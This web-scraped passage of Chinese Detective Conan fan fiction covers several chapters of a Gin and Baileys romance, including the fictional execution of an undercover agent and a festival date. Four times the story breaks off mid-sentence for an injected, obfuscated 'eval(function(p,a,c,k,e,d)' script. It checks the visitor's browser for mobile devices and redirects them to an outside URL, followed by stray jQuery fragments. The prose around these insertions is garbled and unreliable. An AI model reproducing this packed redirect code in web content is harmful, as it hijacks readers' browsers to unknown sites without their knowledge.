琴酒正在擦拭着手中的枪支,闻言轻哼一声:“少拍马屁,我不吃这套。你过来干什么?别告诉我你是来训练的。”他说完之后,轻飘飘地看了伏特加一眼,平静地说出令人毛骨悚然的话:“你需要我帮你提升一下身体素质吗?” 伏特加听完后想起琴酒惨无人道、毫无人性的训练方法,害怕地咽了咽口水,一边摇头一边后退:“不用了不用了……” 短暂的静默之后耳边传来一声嗤笑,除此之外再无其他举动,伏特加确定他只是说说而已后,心中的惊涛骇浪逐渐平息。 他慢悠悠踱到琴酒旁边,一脸神秘兮兮地说道:“我这次来,是想告诉大哥,有一份礼物要送给你。” 闻言,琴酒停下手上的动作,目光定定看着他,开口问道:“送的是什么礼物?礼物又是谁送的?” 终于要开始切入正题了,伏特加心中顿时一喜,但脸上却没有表现出来,他对上琴酒的视线,清了清嗓子:“送来的礼物是三架战斗机,至于是谁送的,大哥可以……” 琴酒直接打断了他即将说出口的话:“我不猜。” 伏特加顿时被噎住,但他深知琴酒的脾气,最终叹了口气,妥协似的说道:“好吧好吧,我说就是了。送你礼物的人是——组织里最有前途的新星百利甜。” 生怕琴酒听不见,他甚至还着重强调了“百利甜”这三个字,同时小心翼翼地观察着对方的神色。琴酒脸上的神情看似没有什么太大的波动,可自己跟了他多年,对他的表情已经很熟悉了,知道此刻的他心中肯定没有表面上这么平静。 见琴酒听了果然是有些动容,伏特加眼珠子骨碌骨碌,再接再厉地说道:“这么贵重的东西,百利甜那家伙居然说送就送,大哥不觉得他对你太好了么?” 随着他的话音落下,琴酒的眼里似乎闪过什么,不过转瞬又消失不见了。压下心中不明的情绪,他看向身边的人,言简意赅地问道:“他送我的礼物在哪?” 伏特加迎着他问询的目光,忙不迭地回答:“就在基地的停机场上……” 他的话音还没落地,琴酒抬脚就朝停机场的方向走去,伏特加见状立马跟上他。 停机场建在较为偏僻的一个地方,三架战斗机此刻正稳稳当当停放在那里,远远看过去气派十足。琴酒亲自试了一架,性能的确十分优越,就是到黑市上买也买不到。 当飞机停稳后,琴酒从机舱里走出来,脸上满意的表情溢于言表。伏特加盯着他的脸看了一会,内心默默感叹,果然这个世上只有武器才能讨大哥欢心。 他和百利甜达成交易的那一天,对方问了他两个问题,一个是琴酒最喜欢什么东西,一个是琴酒最讨厌什么东西。 琴酒最喜欢什么东西……他跟琴酒共事这么久,没见他对什么东西特别感兴趣,除了枪械弹药。别的不说,他自己就跟个小型军火库似的,身上带了一堆东西,仿佛这样能给他一点安全感。 飘远的思绪渐渐回归,他上前一步,冲琴酒扬起了一个笑容:“大哥觉得这架飞机怎么样?” 琴酒闻言也如实回答:“各方面性能表现都十分出色,价钱肯定不会便宜。” 伏特加听罢,赶忙见缝插针地说道:“听说这三架战斗机特别贵!加起来有好几个亿!” 琴酒修长的手指慢慢摩挲着战斗机光滑冰冷的金属外壳,动作轻柔得仿佛在抚摸情人一般:“我会当面向他表示感谢的。” 听到他这么一说,伏特加提吊着的心总算是落回了肚子里,他心里喜滋滋地想,看来这三架战斗机没白送,百利甜不久就能抱得大哥归,自己也能和洋子小姐共进晚餐了。 第一个问题得到完美的解决,紧接着就是第二个问题——“琴酒最讨厌什么东西?” 伏特加记得自己那天是这么回答百利甜的:“大哥他这辈子最讨厌的就是叛徒和卧底,那些混进组织的老鼠要是被他抓到了,不管对方是谁,是什么人,最终只有死路一条。” * 早上九点,原泽河走进街角的一家咖啡厅,随意挑选了一个靠窗的位置坐下。 相貌出众的人总是格外吸引别人的注意力,他刚踏入店中,服务员小姐便两眼发直地看着他,眼睛眨也不眨,直到他叫了一声服务员,这才如梦初醒般清醒过来,连忙迎了上去,笑容甜美地问道:“这位先生,请问您需要什么?” 原泽河冲她微笑道:“你好,麻烦给我一杯热可可。” 他本就生得好看,笑起来更是惊艳,服务员小姐现在心里是小鹿乱撞,她红着一张脸说道:“好的,请您稍等。”说完就转身走向吧台,开始制作咖啡。 不一会儿,服务员小姐走过来,手里拿着一杯热可可递给他。原泽河捧着暖融融的热可可,笑着向她道了一声谢,还给了她一笔可观的小费。 空气中弥漫着巧克力浓郁醇厚的香气,他一边小口抿着热可可,一边用眼角的余光观察着坐在角落的那对男女。 这两人身份不简单,都是组织里有名有姓的角色。女人代号樱桃酒,隶属于情报组,是个优秀的情报员,男人代号白兰地,跟他一样都是行动组的成员。 但不幸的是,他们两个都是该死的老鼠。樱桃酒是CIA卧底,白兰地是日本公安卧底。他今天之所以来到这里,并不是为了喝咖啡,而是为了暗中监视他们,伺机将他们一网打尽。 据可靠线报,樱桃酒此刻正面临着随时可能暴露自己身份的危机,为了保命,她花了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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组织研发的麻醉剂果然厉害,很快就发挥了作用,白兰地身体无力地摇晃了几下后,便彻底失去了意识。眼看着男人就要栽倒在地上,一旁的原泽河眼疾手快地扶住了他,让他不至于和大地来个亲密接触。 圆满完成任务后,原泽河通过耳麦,将自己这边的情况言简意赅地告知了琴酒。一阵短暂的沉默过后,耳麦里传来琴酒低沉且悦耳的声音:“把人带过来给我审问。” 即使是用命令的口吻,可男人说话的语气,却是连自己都不曾发觉的柔软。 原泽河听到他吩咐的一瞬间唇角高高扬起,紧接着用刻意压低的声音说道:“遵命,我的指挥官大人。”他语气轻佻又带着些笑意,明明是再普通不过的一句话,却被他说得跟调情一样。 耳麦那边半天听不到回话,原泽河都能想象出对方此刻的表情,唇边的笑意愈发浓厚。 自从他看清自己的心意后,琴酒做什么他都觉得可爱,这或许就是传说中的八百米厚滤镜吧。 16.每天都在刷好感度3 随着麻醉药的失效,白兰地的意识一点点复苏。他想要活动一下身体,却发现自己的双手双脚都被结结实实捆在椅子上,挣扎了好一番也丝毫动弹不得。 意识到自己在做无用功,他索性不再挣扎,环顾四周想着如何逃出去。 这里四处堆着杂物,到处都是灰扑扑的,看起来像是一间废弃的仓库。环顾片刻后,他忽然记起昏迷前发生的事情。那时他刚走出没多远,就被人从背后偷袭,也不知怎么的就到了这里。 是谁?是谁偷袭他? 短短一瞬间,白兰地脑海中已转过千百个念头,末了只剩下最后的、唯一的念头——自己的身份恐怕已经暴露了,所以上面才派人袭击他。他越想越觉得可能性极大,额头上的冷汗不受控制地冒了出来。 仿佛是要印证他的想法一般,下一秒就听一道冰冷刺骨的男声响起:“你终于醒了,你要是再不醒,就要被泼冷水兜头浇醒了。” 他的话犹如毒蛇吐信般,白兰地听完之后,只觉得一股冷气窜上了脊背。他努力克制住颤抖的身体,朝着声源处望过去,果然看到一个银发绿眼的男人,另外还有一名黑发金眸的青年跟在他的身后。 银发绿眸的男人自然是黑衣组织的头号杀手琴酒,除了这个响当当的名头外,他还被称为“组织的清道夫”,直接或者间接死在他手里的卧底和叛徒数都数不清。 至于那名黑发金眸的青年……他突然想起失去意识前,看到的那双融金般的眼眸,显然对方就是那个害他身陷险境的罪魁祸首,几个月前横空出世的组织新人百利甜。 在意识到自己眼下的处境如何后,他紧握拳头,垂下头颅,脑子飞速地想着该怎么应对这个场景。 现在最重要的是弄清楚自己的卧底身份有没有暴露。如果没有暴露,琴酒必定会使出各种手段逼他自证清白,如果身份已经暴露,那等着他的就只有死路一条。 脚步声越来越近,他抬起头来,正对上琴酒那双平静无波的碧色眼眸。竭力压下心中的惊惧,他强装出一副镇定的样子,开口质问道:“敢问琴酒大人,我究竟是犯了什么样的错,双手双脚都被绑起来?” 琴酒闻言,轻飘飘瞥了他一眼,那眼神仿佛在看一个将死之人:“我这么做的理由,你心里清楚。你在行动组也干了近一年,应该知道我平生最讨厌的就是卧底和叛徒。” 虽然早就有了心里准备,可听琴酒亲口说出来,白兰地还是不可避免地感到恐惧。 但他的心理素质过硬,尽管内心已是惊涛骇浪,表面上依旧强装镇定:“琴酒大人为什么这么说?您有什么证据吗?要是拿不出证据,可不能随便污蔑人。” “你需要证据,对吧?”在他话音落地的瞬间,原本安安静静站在一旁的百利甜冷不防开口,“你看那里有什么?” 说完,他低头望向某个方向,白兰地吃力地顺着他的视线看了过去,浅色的瞳仁在一瞬间放大。 只见冰冷无比的仓库地面上,此刻正躺着一个金发女人。女人虽然已经昏迷过去,但依旧疼得浑身发颤,整个人几乎蜷缩成了一只小虾米,看上去脆弱得好似一碰就会碎。 而这个不幸的女人,正是不久前才和他达成一笔交易的樱桃酒。 看清她脸的刹那,白兰地只觉得浑身如坠冰窖,表面强装的镇定再也维持不住,一股庞大的不安和恐惧从四面八方侵袭而来,无孔不入地渗入到他的灵魂深处。 樱桃酒和自己同时被抓,这就说明她和自己私下见面一事被组织发现了。或许那个时候,百利甜就在暗中监视他们的一举一动,而他们本人却毫无所知,等到反应过来时,为时已晚,等待他们的就只有死亡一条路。 琴酒将他的神色变化全部收入眼底,似乎还嫌不够,又从口袋里摸出一个U盘,在他面前晃了晃:“这个U盘是从你身上搜出来的,里面到底装着什么想必你很清楚。如今人证物证俱在,你还有什么好说的?” 在琴酒拿出U盘的那一瞬间,白兰地便知道自己再无活路了,他此刻反倒出奇地冷静,毫不畏惧地迎上琴酒鹰隼般锐利的视线,昂首挺胸,大义凛然地说道:“把你们知道的事情统统都说出来吧!反正人一辈子只能死一次,我不介意再多几条罪名!” 面对死亡威胁的这一刻,他居然表现得异常平静,琴酒虽和他不在一个阵营里,这时也由衷生出几分欣赏之意。对于这样的英雄好汉,他的耐心总是要多一些:“还有你身为公安卧底这件事,我们也知道了,星野警官。” 时隔一年,再次听到这个久违的称呼,还是从杀人不眨眼的组织杀手口中听到的,白兰地此时的心情绝对称不上美妙,但他早在卧底到黑衣组织的那天,就已经做好了赴死的准备,因此惊惶只持续了不到片刻,旋即便恢复了平静。 临死前,他只有一件事放不下……他垂头望向躺在地上紧闭双眼的樱桃酒,面上流露出些许歉意。自己明明答应了她,要保证她的安全,可现在他也是泥菩萨过江自身难保,就是想要救人,也有心无力。 想到这里,他心里顿时升起了一股挫败感,无力地垂下头颅,看上去像极了冬日里的小白菜,与方才的他简直判若两人。 不过他的这副样子并没有维持多久,很快他便恢复了原样,面对琴酒,一字一句清晰无比地说道:“没错,我就是日本公安派进组织的卧底,你没必要再在我身上浪费时间了,直接开枪吧。” 他不怕死,但是真的很怕痛,不想在死前还要遭受非人的折磨。他只盼琴酒看在自己没有功劳也有苦劳的份上,直接给他一个痛快。 琴酒好像知道他在想什么,淡色的薄唇轻启,缓缓吐出两个字来:“好啊。” 说完,他掏出伯/莱/塔对准了白兰地的脑门,手指勾住扳机,仿佛下一刻就会开枪。 死亡的阴影顿时笼罩在白兰地头上,像是一把随时可能掉下来的利刃,他甚至连躲避的机会都没有。眼看着就要死去,他的嘴唇动了动,似乎想要说些什么,但最终还是什么都没说。 琴酒将他那副欲言又止的样子看在眼里,带了几分冷冽的声线不紧不慢地说道:“我可以答应你,给樱桃酒一个痛快。” 自己的心思当真被他猜中了,白兰地不由愣了愣,而后如释重负般长长吐出一口气。冷冰冰的枪口就抵在他的脑门上,随时能取走他性命,可他此刻的注意力却全然放在了这把枪的主人身上。 他一眨不眨地看着琴酒,忽然开口说了句:“谢谢。”说完之后又补充了一句:“抱歉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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经过这件事情之后,他对琴酒的印象大为改观,过去他只觉得对方是一个残忍无情的刽子手,现在却有了不同的看法。如果某个平行世界,自己并非卧底,或许真能与他并肩作战,心甘情愿为他献上毕生的忠诚。 思绪回归现实,他意味不明地叹了口气,而后仰头盯着琴酒的眼睛,语气恳求似的道:“琴酒大人,动手吧。” 随着他的话音落下,琴酒毫不犹豫地扣下手中枪支的扳机,枪声“砰”的一声的响起,血洞出现在白兰地的眉心,他的呼吸渐渐微弱,身体也慢慢冷了下去。 确认他再无生息后,琴酒缓缓走过去,替他阖上了眼睑。 原泽河一直在旁边安静看着这一切,此刻见白兰地已死,便上前一步走到琴酒身边,目光紧紧凝着他。 他斟酌了片刻,刚想要说些什么,却被琴酒抢先一步开口:“Boss为什么突然心血来潮帮我抓卧底?” 原泽河没想到对方会突然问这个问题,愣了片刻后笑吟吟道:“因为我有件事想要拜托你啊。” 听他这么一说,琴酒不自觉绷紧了身子,那双绿松石一般的眼睛里罕见地带了几分紧张,俨然一位等待军官命令的士兵。 原泽河把他这副模样看在眼里,金眸逐渐弯成了月牙的形状。他眼睛一眨不眨地望向琴酒,说话的语气温柔得不像话:“Gin,作为我帮你找出卧底的酬劳,你可以陪我一起去夏日祭吗?” 话音落下后,是一阵长久的静默,原泽河等了半天也没等到对方的回应,但他既不催促也不发火,就这么耐心地等下去,等到他回答为止。 皇天不负有心人,又过了两三分钟,他终是如愿以偿地得到了想要的答复:“好啊。” 17.每天都在刷好感度4 很快到了夏日祭,琴酒早早结束今天的任务,开始踏上回家的路途。 天色已近黄昏,琴酒坐在副驾驶位上,低头看了眼手机屏幕,估摸着时间还是很充裕,便稍稍放下心来。 看着车子离自己住的安全屋越来越近,琴酒只盼快点到家,千万别出什么幺蛾子。不过墨菲定律说的好,如果你越是担心某件事的发生,那么它就越有可能发生。 当车子行驶到一半时,他心中忽然升起一股不妙的预感,紧接着手机响了一声,他拿起手机看了一眼,心里顿时咯噔一声。 琴酒死死盯着手机屏幕里的新任务,眉头越蹙越紧,如果眼神能够化为一把尖刀,那发布这个任务的家伙早已尸骨无存。半晌过后,他垂下眼,终于不情不愿说道:“伏特加,我们现在去米花大厦。” 他忽然改口,伏特加一时有些措手不及,但他早已习惯了听从琴酒的各种指令与安排,只迟疑了一瞬便立即调转车头,往米花大厦开去。 眼看着离家越来越远,琴酒的脸色以肉眼可见的程度慢慢暗下去。 换谁在快下班的时候收到加班通知,心情都不会太好。若换做以前,他或许会欣然接受,毕竟那时候的他除了工作之外毫无个人生活,二十四小时连轴转都不在话下。但今时的琴酒不同往日的琴酒,眼下有着更重要的事在等着他。 只是这个任务的确十分紧急,他虽是心不甘情不愿,却也无可奈何,只能硬着头皮去完成任务。 在心里给发布这个任务的家伙记了一笔后,琴酒握住手机,手指在屏幕上敲敲打打了一会,给Boss编辑了一条简讯,告诉他自己有任务在身,实在抽不出空,恐怕是不能赴约了,还请他见谅。 但不知为何,到了要发送的时候,行事向来果断的组织第一杀手却突然犹豫了起来,手指悬停在发送键的上方,迟迟不愿按下去。脑中一番激烈的天人交战后,他终于心一横,摁下了发送键。 在确认信息送达后,他浑身的力气都像被抽走了一般,无力地靠在椅背上。 然而下一秒,意想不到的事情发生了,他的手机叮的一声响了一下,是Boss发给他的消息。琴酒本想做鸵鸟,但最终还是抵不过好奇心,打开了聊天界面,只见消息简短,一目了然:“我会等你的。” 他捏着手机,将那短短的几个字翻来覆去看了好几遍,才摁熄了手机屏幕,把手机塞回黑大衣里。 这次的任务是击杀一名对组织产生重大威胁的政要人员,琴酒选好合适的狙击点,架好98K狙击枪,而后透过瞄准镜将目标牢牢锁定,像是盯住猎物的猎豹一般,随时准备给猎物致命一击。 猎杀时刻即将到来时,他非常果断地开枪,下一秒,子弹如同闪电般飞射出去,射穿落地窗玻璃,精准命中了任务目标的额心。 琴酒看着倒地不起的任务目标,心中的一块大石头总算是落了地,至于暗杀事件引起的骚动,他一点都不关心,此刻的他归心似箭,只想早点回到家里。 他和伏特加以最快的速度收拾好东西离开狙击点,马不停蹄地赶到地下停车场上了车。 到家时已经八点多了,琴酒看了一眼手机上的时间,一颗心直直往下沉。但他心里还抱着微弱的希望,让伏特加先别离开,然后回到安全屋,拿起事先准备好的和服穿上,又稍微收拾了一下自己就出门了。 副驾驶位的车门啪的一声被打开,伏特加看了一眼身穿和服的大哥,忽然想起今天是什么日子,投向他的眼神不自觉多了几分意味深长。但伏特加向来惜命得很,就是借他一百个胆子也不敢调侃琴酒,他只当没看到,迅速发动车子。 伏特加专心致志别无二念地开着车,保时捷在他的驾驶下一路风驰电掣,转眼就到了约定的地点。车子刚停稳,琴酒就迫不及待拉开车门,如离弦之箭般冲了出去。 周围的小吃摊传来源源不断的吆喝声,各色食物的香气飘得到处都是,可琴酒却对此视若无睹,脚下的速度一点也没有慢下来。 伏特加看了眼顷刻间便走远了的琴酒,又摸了摸咕咕叫的肚子,在心里默默腹诽了一句:大哥的体质果然和平常人不太一样,今天就吃了一个干巴巴的三明治,居然还能健步如飞。 两人见面的地点选在一棵千年古木下,琴酒虽然以自己最快的速度赶到了那里,但距离两人约好的时间,仍是超出了整整一个半小时。 琴酒站在那棵古木下,目光下意识去搜寻那道身影,环视四周一圈,却哪都看不到他。他又不死心地搜寻了一遍,在得到一样的结果后,一颗心直接沉到了谷底。 他到底在期待什么?里世界呼风唤雨的黑衣组织老大,时间就像金子一样珍贵,怎么会白白浪费在他的身上? 想到这里,他似乎是自嘲地勾了勾唇,垂下的眼睫遮住了眼里的晦涩不明。 就在他刚准备迈开脚步离开的时候,头顶忽然传来一声轻笑,紧接着一道清泉般好听的男声突兀响起,声音不大,却足够让人听见:“哎呀,你别走啊。” 这道声音琴酒再耳熟不过,他瞬间怔愣在原地,好一会才缓过神来,不可置信地抬头望去,正好对上那融金般的眸子。 俊秀的黑发青年眼尾挂着笑,正姿态随意地坐在高高的树枝上,金色的瞳眸在夜色中显得格外明亮。周遭的一切都瞬间安静下来,琴酒莫名觉得此刻的青年像极了一位俯瞰世间的神明。 时间似乎过去很久,又似乎只过去一瞬,琴酒只觉眼前一花,那人从树上飘然落下,轻巧地落在地面,而后慢慢向他的方向走来,在距离他一步远的地方站定。 他定定地望着那人,冷不防开口道:“您明明早就看见了我,却一直不开口,就看我干着急?” 听出琴酒语气中的责备之意,原泽河不由有些心虚,他张开嘴想要解释一下,但每次话刚刚到嘴边,又被他强行咽下。 他难道要说自己看他着急的模样觉得很有趣,所以死活不愿意现身,就为了多看一会儿他那副样子么? 这些话要是说出来,琴酒肯定会恼羞成怒,为了避免出现这种情况,他装出一副委屈巴巴的神情,语气幽幽道:“怎么,你让我等了这么久,就不许我也让你等一会么?你知不知道我为了等你,喂了一晚上蚊子!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876682|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他这话说的半真半假,琴酒默默听完后,再也维持不了冷硬的表情,看向他的目光柔和了许多,还带着些许抱歉的神色:“对不起,我不是故意让您等这么久的,实在是因为……” 话说到这里,戛然而止,只因此刻他的注意力完全被Boss手上的动作所吸引。只见Boss变戏法似的掏出一个面包,然后撕开包装袋,把面包递到他的嘴边,清亮的嗓音里带着温和的笑意:“你一路过来应该没有吃东西,肯定饿了吧?先把这个吃了填填肚子!” 琴酒难得的怔忪了片刻,旋即唇角带起一抹浅淡的弧度,心里被前所未有的满足与雀跃填充。迎着Boss含笑的视线,他张开嘴咬了口面包,眼中闪过一丝惊喜,竟然是他最爱吃的巧克力口味。 他今天就只吃了一顿饭,之前还没觉得,现在看着这个散发着香甜的气息的面包,终于后知后觉地感受到了饥饿感。他就着Boss的手,几下吃完了面包,满身的疲惫都在这一刻一扫而空。 此刻的琴酒双颊被塞得鼓鼓的,像极了小松鼠,原泽河越看越觉得他可爱,不由得笑出了声。 琴酒刚好咽下最后一口面包,听见他的笑声,不明所以地抬头问道:“Boss在想什么,怎么笑得这么开心?” 原泽河想都没想,就将心里话脱口而出:“我在想,你吃东西的样子好可爱啊。” 琴酒从未想到有朝一日,自己竟然也会被人用“可爱”这个词来形容,他本想说自己是个杀人如麻的恶徒,这个词拿来形容他就是恐怖故事,但一对上那双流淌着笑意的金眸,他就把自己原本想说的话忘了个一干二净。 正在他恍神之际,Boss盯着他,忽然笑道:“这身衣服很适合你。” 此刻的琴酒穿着很合身的深蓝色和服,一头绸缎似的银白色长发用一根黑色发带松松地绑在脑后,月华如练,披在周身,整个人好似月下仙人一般超凡脱俗。 原泽河眉眼含笑地望着他,打出了一记干净利落的直球:“有没有人夸过你好看?” 琴酒想了想,诚实地摇了摇头。他并不在意自己的长相,因为凶名远扬,外人也没敢仔细看他的长相,所以他对自己的相貌并没有什么概念,只知道自己长相凶恶可怕,离大众审美里的“好看”差了十万八千里。 正因如此,他一直不明白,Boss为什么会选他做了固定的床伴,他身上杀伐之气过重,看起来就像穷凶极恶之徒,如果Boss只是想找个床伴,比他合适的人选大有人在。 谁知原泽河竟像是有读心术一般,轻而易举看穿他的想法,脸上带着无奈又宠溺的笑容:“Gin就是很好看,眼睛好看,鼻子好看,嘴巴好看,就连后脑勺也很好看。” 琴酒还是第一次收到如此直白的夸赞,脸上的神情很不自在,半晌过后,他干巴巴地说了句:“我们再耽搁下去,怕是今晚都回不了家了。”丢下这么一句话之后,他几乎是逃也似的迈开步子往前走。 原泽河看着他这副模样,眼中的笑意都快要溢出来了,不过他也没有继续说下去,脚下步子加快,很快就追上了对方。 18.每天都在刷好感度5 彼时已经九点多了,但街上依旧行人如织,原泽河和琴酒并肩走在街道上,目之所及尽是华灯初上,耳之所闻皆是欢声笑语,两人有一搭没一搭地聊着天,聊着聊着就聊到了几天前原泽河送过去的那三架战斗机。 原泽河脸上带着浅浅的笑意,侧头望向身旁的人:“这份礼物你可还满意?” 琴酒犹豫了一会,还是如实回答:“满意是满意,但这些东西都太贵重了,您还是……” 像是知道他接下来会说什么一样,原泽河直接挥手打断了他的话:“送出去的礼物泼出去的水,断没有再收回来的道理。” 话说到这个份上,琴酒也不好再拒绝,于是收下他的心意,向他真心实意地道了一声谢。 又走了几十步,原泽河忽然被一对二十出头的小情侣吸引了注意力,一双眼睛一眨不眨地看着他们。琴酒注意到Boss的失神,也向那对小情侣看了过去,只见男的英俊,女的秀美,看起来倒是挺养眼的。 此时此刻,女孩手里拿着一盒章鱼丸子,她用竹签叉了一颗递到男孩嘴边,男孩顺从地吃掉了她喂给自己的丸子,两人之间的气氛像是蜜糖一样黏稠甜腻。 这副画面看在原泽河眼里,让他萌生出了一个念头。心动不如行动,他立即便从附近的小摊上买了一盒章鱼丸,兴冲冲跑到琴酒面前,挑起一只丸子喂到他嘴边,意思不言而喻。 四周的目光都投了过来,琴酒耳根莫名有点发烫,待要拒绝,却怕伤了Boss的脸面,可要是接受,又过不去自己心里那关。思索间丸子已经碰到了嘴唇,琴酒没办法只能张开嘴巴,把那个丸子吞了下去。 原泽河看着他这幅乖顺的模样,满意地勾起了嘴角,手中投喂的动作不停。等他停下手中的动作时,那对小情侣又寻到了新的目标,他们兴冲冲地向前跑去,最后在一个拿枪打气球的摊子前停下脚步,眼巴巴地看着上面摆着的各式各样的毛绒绒玩偶。 出于莫名其妙的胜负欲,原泽河一把握住琴酒的手腕,拉着他往那个打气球的摊子走。琴酒见状,脸上立刻浮现出无奈的表情,不过他并没有反抗挣脱,任由对方拽着自己的手腕往前冲。 两人都身高腿长的,走路飞快,不一会儿就走到了那个摊子前,将游戏规则看了个一清二楚:“五百日元一轮,一轮有三十发子弹,一次性打中二十五个气球,可得任意一个玩偶。” 这时那个男生已经给老板付了钱,迫不及待地试一试自己的身手了。只见他拿起道具狙击枪,对准三米开外的心形气球射出一颗颗子弹,架势看起来还挺唬人的,谁知道最后愣是一个都没射中。 一阵尴尬的沉默过后,女孩看着耷拉着脑袋一言不发的男友,走上前拍了拍他的肩膀,柔声细语地安慰道:“不过是个游戏而已,输了就输了,没什么大不了的。” 但她的话并没有安慰到男孩,他低着头,语气里满是自责和歉意,像一只犯了错的大型犬:“可你不是很想要那个小熊玩偶吗?” 女孩闻言,不以为意地轻笑了起来:“你有这份心就够了。”说完又捧着他的脸,温声说道:“好啦好啦,我们好不容易出来玩一趟,你就别苦着张脸了!来,笑一个!” 听她这么说,男孩的心情虽然还是很郁闷,但也勉强地挤出了个笑容。 原泽河将两人的互动尽收眼底,忍不住在心里啧啧了两声:空气中怎么都是恋爱的酸臭味啊。吐槽完小情侣之后,他走到老板面前,给了对方一千日元。 那对情侣被他的举动吸引了注意力,不约而同地看向他,将刚才的忧伤沮丧全部抛诸脑后。 在这两人的注视下,原泽河拿起枪对着气球砰砰砰地一通乱射,脸上神情始终是漫不经心的懒散。 男孩看他乱射一通,以为他会和自己一样颗粒无收,但出乎他意料的是,气球居然全爆了。 一个全部击中,一个全都没中,两人的成绩形成了鲜明的对比。男孩顿时露出挫败的表情,只觉得自己的自尊心受到了前所未有的打击。 琴酒看着他那副被打击到的样子,在心里默默说了一句:Boss的射击成绩在组织里面也是名列前茅的,在这里打气球就好像高射炮打蚊子,你比不过他的。 首轮结束不到一分钟,原泽河又开始第二轮,还是一射一个准。老板将他的表现看在眼里,只觉得自己的心都在滴血,但最后也只能不情不愿地拿给他两只玩偶。 原泽河无视老板那一脸肉疼的表情,搂着玩偶跑到琴酒面前,先是将其中的狐狸玩偶不由分说塞进了他手里,然后转过身走到女孩面前,在她错愕的目光下,将另外一只小熊玩偶塞到她手里。 女孩愣愣地看着手里的小熊玩偶,过了许久才回过神来,抬起头看着面前长相陌生的青年,不可置信地问道:“您为什么……” 原泽河之所以这样做,其实是为了感谢她持续给自己提供恋爱素材,不然他一个百年单身狗,就算单独和琴酒呆在一块也不知道该干什么。 不过他懒得多费口舌,于是便糊弄了一句:“我看你很有眼缘,所以送你一件见面礼,这个也不贵,你收下就是了。” 见他态度坚决,女孩只好收下那只玩偶,片刻之后,她抬眸看向转身欲走的黑发青年,一副欲言又止的模样。 原泽河本来是想要转身离开的,但见到她这副样子,不由停下脚步,疑惑问道:“请问你还有什么问题吗?” 女孩犹豫了片刻,还是按捺不住好奇地发问道:“你和那个银发大哥哥,你们是……你们是……”她说到这里的时候,似乎有些难以启齿,就不再继续往下说了。 原泽河却仿佛听懂了她的未竟之意,唇角扬起一抹弧度:“你是想问,我们俩是不是你们俩的那种关系?” 女孩听出他语气中的调侃,一张俏脸烧红一片,片刻过后,她朝着黑发青年点了点头,证实了他的猜测。 原泽河没有马上回答这个问题,他看向不远处的的琴酒,对方正抱着那只狐狸玩偶,手指无意识地揪着它毛茸茸的耳朵,察觉到自己的视线,他立刻缩回了手,恢复成原本的冷酷模样,仿佛刚才那孩子气的举动是自己的幻觉。 视线挪回到女孩身上,原泽河唇角不由自主地翘起来:“很可惜,我们还不是那种关系,不过我会努力的。” 女孩听完之后,露出一副了悟的神色,樱色的嘴唇轻轻翕动了下,小声对他说了一句加油。 原泽河微笑着点点头,表示自己知道了,随后迈开长腿回到琴酒身边,张开嘴刚想说什么,却听琴酒问道:“您刚才……” 他只说了三个字便没了下文,原泽河却知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888675|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想问什么,抱着手臂,似笑非笑看着他:“你想知道我和那个女孩刚才聊了什么?” 他的话音刚一落下,琴酒就十分迅速地否认了:“没那回事。” 原泽河却是一点不信,眼睛眨也不眨地盯着他,直看得他心虚地低下头,才扑哧一声笑道:“她问我,我和你是不是恋人。” 话音一落,随之而来的是一阵漫长的沉默,原泽河也不说话,就这样静静地看着他。琴酒被他用溺死人不偿命的温柔眼神注视着,全然没了往日那副游刃有余的模样,局促地垂下眼睫。 不知过了多久,琴酒终于开口打破沉默:“那您是怎么回答的?” “我是怎么回答的?”原泽河凝视着他的双眸,说话的语气中带着点连自己也没察觉到的丝丝雀跃,“我对她说,我们暂时还不是恋人,但我会努力的。” 又一阵长长的沉默后,琴酒用尽可能平稳的声线问道:“您是认真的?” 叹息一声,原泽河无奈开口:“你现在还不信我是真的喜欢你么?”说到这里,他顿了顿,再度开口时,语气里带上了几分歉意:“Gin,原谅我以前那样对你,那时候的我的确只是把你当床伴,直到现在我才发觉,那种关系对你来说过于轻慢了。” 他说话的语气太过真挚,琴酒将他的对话一字不落地听在耳里,心里一时五味杂陈,说不上来是什么感觉。 原泽河将他脸上所有的情绪变化看在眼里,突然无比郑重地说道:“Gin,你能不能给我一个追你的机会?如果能的话,我向你保证,要是今年圣诞过后,你还是对我无感,我们从此以后就只是纯粹的上下级关系,再无其他。” 一股脑地说出这些话后,原泽河死死盯着男人形状完美的薄唇,生怕他说出自己不想听到的话。 就在他紧张得一颗心七上八下时,琴酒终于作出了回应:“好,我给你这个机会。” 在他的话音刚刚落下时,五颜六色的烟花在空中尽情绽开。街道上的行人纷纷驻足观看,他们两个也不例外。只是两人虽然都看着烟花,心思却都不在烟花上。 